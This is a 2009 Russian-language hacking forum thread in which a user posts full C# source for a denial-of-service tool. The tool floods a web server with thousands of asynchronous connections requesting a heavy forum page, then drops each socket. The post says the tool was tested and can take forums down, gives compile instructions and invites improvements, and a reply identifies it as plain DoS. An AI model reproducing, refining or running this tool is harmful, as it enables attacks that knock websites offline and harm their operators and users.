Форумы Возможная уязвимость apache из-за установленного форума

Discussion in 'Уязвимости CMS/форумов' started by Snow_, 16 Apr 2009.

  1. Snow_

    Snow_ New Member

    Joined:
    16 Apr 2009
    Messages:
    2
    Likes Received:
    4
    Reputations:
    0
    Недавно была написана программа, позволяющая ложить в даун форумы. Идея такова - одновременная посылка запроса на получение странички, требующей больших затрат по ресурсам для веб-сервера, после этого сокет закрывается, без приема данных. Один компьютер даже не с очень широким каналом может заставить сервер очень крепко задуматься - проверено. Единственное но - для каждого сервера нужно настраивать свои параметры максимального количества подключений и время повтора.

    Прилагаю исходник на C#.

    Code:
    using System;
    using System.Net;
    using System.Net.Sockets;
    using System.Threading;
    
    namespace ConsoleApplication1 {
    	class Program {
    		private const int max = 10000;
    		private const int tm = 120000;
    		private static int cnt = 0;
    		private static int run = 0;
    		private static int con = 0;
    		private static int sent = 0;
    		static int i=0;
    		static string site = "www.site.xxx";
    		static string s = "GET http://" + site + "/index.php HTTP/1.1\r\nHost:" + site + "\r\nUser-Agent:Opera 0.0";
    		static string s2 = "\r\nConnection:Keep-Alive\r\n\r\n";
    		public static void StartClient(object s) {
    			try {
    				IPAddress ipAddress = Dns.GetHostAddresses(site)[0];
    				IPEndPoint remoteEP = new IPEndPoint(ipAddress, 80);
    				DateTime st = DateTime.Now;
    				Socket[] sender = new Socket[max];
    				for (int i = 0; i < max; i++) {
    					sender[i] = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
    				}
    				for (int i = 0; i < max; i++) {
    					try {
    						run++;
    						sender[i].BeginConnect(remoteEP, new AsyncCallback(conncb), sender[i]);
    					} catch (ArgumentNullException ane) {
    						Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
    					} catch (SocketException se) {
    						Console.WriteLine("SocketException : {0}", se.ToString());
    					} catch (Exception e) {
    						Console.WriteLine("Unexpected exception : {0}", e.ToString());
    					}
    				}
    				TimeSpan ts = DateTime.Now - st;
    				cnt++;
    				if (cnt % 1 == 0) {
    					Console.WriteLine(ts.TotalSeconds);
    					Console.WriteLine("R:{0} C:{1} S:{2}", run, con, sent);
    				}
    			} catch (Exception e) {
    				Console.WriteLine(e.ToString());
    			}
    		}
    		static void conncb(IAsyncResult ar) {
    			Socket client = (Socket)ar.AsyncState;
    			try {
    				client.EndConnect(ar);
    				con++;
    				byte[] b = System.Text.Encoding.ASCII.GetBytes(s + i.ToString() + s2);
    				i++;
    				client.BeginSend(b, 0, b.Length, 0, new AsyncCallback(sendcb), client);
    			} catch (Exception e) {
    				client.Close();
    			}
    		}
    		static void sendcb(IAsyncResult ar) {
    			Socket client = (Socket)ar.AsyncState;
    			try{
    				client.EndSend(ar);
    				sent++;
    			} catch (Exception e) {
    			}
    			client.Shutdown(SocketShutdown.Both);
    			client.Close();
    		}
    		static void Main(string[] args) {
    			object s = new object();
    			TimerCallback tc = new TimerCallback(StartClient);
    			Timer t = new Timer(tc, s, 0, tm);
    			Console.ReadKey();
    		}
    	}
    }
    
    Еще в данной программе не хватает отслеживания количества задействованных сокетов для оптимизации выполнения на компьютере (при длительном времени выполнения загрузка идет до 100%). Так что рассматривайте ее не как готовый вариант, а идею, которую можно использовать для доработки.

    P.S. То, что программа написана на C# не имеет значения, ее можно адаптировать под любой язык и на любой уровень, требуются только асинхронные сокеты и все.

    Удобства именно C# заключаются в том, что скомпилировать можно на любом компьютере с наличием установленной библиотеки Framework.NET
    Для этого сохранить код в текстовый файл с названием например test.cs и запустить в командной строке следующее:

    C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\csc.exe путь_к_файлу_test.cs /r:System.dll
    На warning's внимания можно не обращать, программа все равно будет работать.
     
    #1 Snow_, 16 Apr 2009
    Last edited: 16 Apr 2009
    3 people like this.
  2. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    806
    Reputations:
    311
    Изобрёл велосипед
    Это называется ДоС
     
  3. Snow_

    Snow_ New Member

    Joined:
    16 Apr 2009
    Messages:
    2
    Likes Received:
    4
    Reputations:
    0
    не такой уж и Дос, и я - она. Больно не бейте.
     
    1 person likes this.
Loading...